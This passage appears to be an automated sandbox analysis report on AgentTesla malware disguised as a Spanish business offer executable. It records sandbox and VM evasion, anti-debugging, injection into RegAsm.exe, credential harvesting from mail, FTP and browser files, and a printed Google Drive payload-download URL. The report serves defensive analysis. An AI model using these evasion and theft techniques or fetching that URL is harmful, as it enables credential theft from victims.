Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe, 00000001.00000002.34335612659.0000000000694000.00000004.00000020.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE BI
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe, 00000001.00000002.34335612659.0000000000694000.00000004.00000020.sdmp, RegAsm.exe, 00000005.00000002.38781651449.0000000000C50000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: RegAsm.exe, 00000005.00000002.38781651449.0000000000C50000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1YCJKSJL72MDS_KR72AMOQUYUYDCIFXY0WININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe, 00000001.00000002.34336131872.0000000002320000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLL
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3976 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 9955 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe System information queried: ModuleInformation Jump to behavior
Source: RegAsm.exe, 00000005.00000002.38782014491.0000000000CA8000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAWp2
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe, 00000001.00000002.34335612659.0000000000694000.00000004.00000020.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe bi
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe, 00000001.00000002.34336131872.0000000002320000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dll
Source: RegAsm.exe, 00000005.00000002.38782400221.0000000000CEA000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe, 00000001.00000002.34335612659.0000000000694000.00000004.00000020.sdmp, RegAsm.exe, 00000005.00000002.38781651449.0000000000C50000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: RegAsm.exe, 00000005.00000002.38781651449.0000000000C50000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=1ycJKsjL72mds_kr72amoQuYUYdcifxy0wininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread information set: HideFromDebugger Jump to behavior
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00A46950 LdrInitializeThunk, 5_2_00A46950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B00000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe' Jump to behavior
Source: RegAsm.exe, 00000005.00000002.38783767904.0000000001331000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: RegAsm.exe, 00000005.00000002.38783767904.0000000001331000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 00000005.00000002.38783767904.0000000001331000.00000002.00020000.sdmp Binary or memory string: Progman
Source: RegAsm.exe, 00000005.00000002.38783767904.0000000001331000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 1408, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to steal Mail credentials (via file access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 1408, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.38792666858.000000001DC01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 1408, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs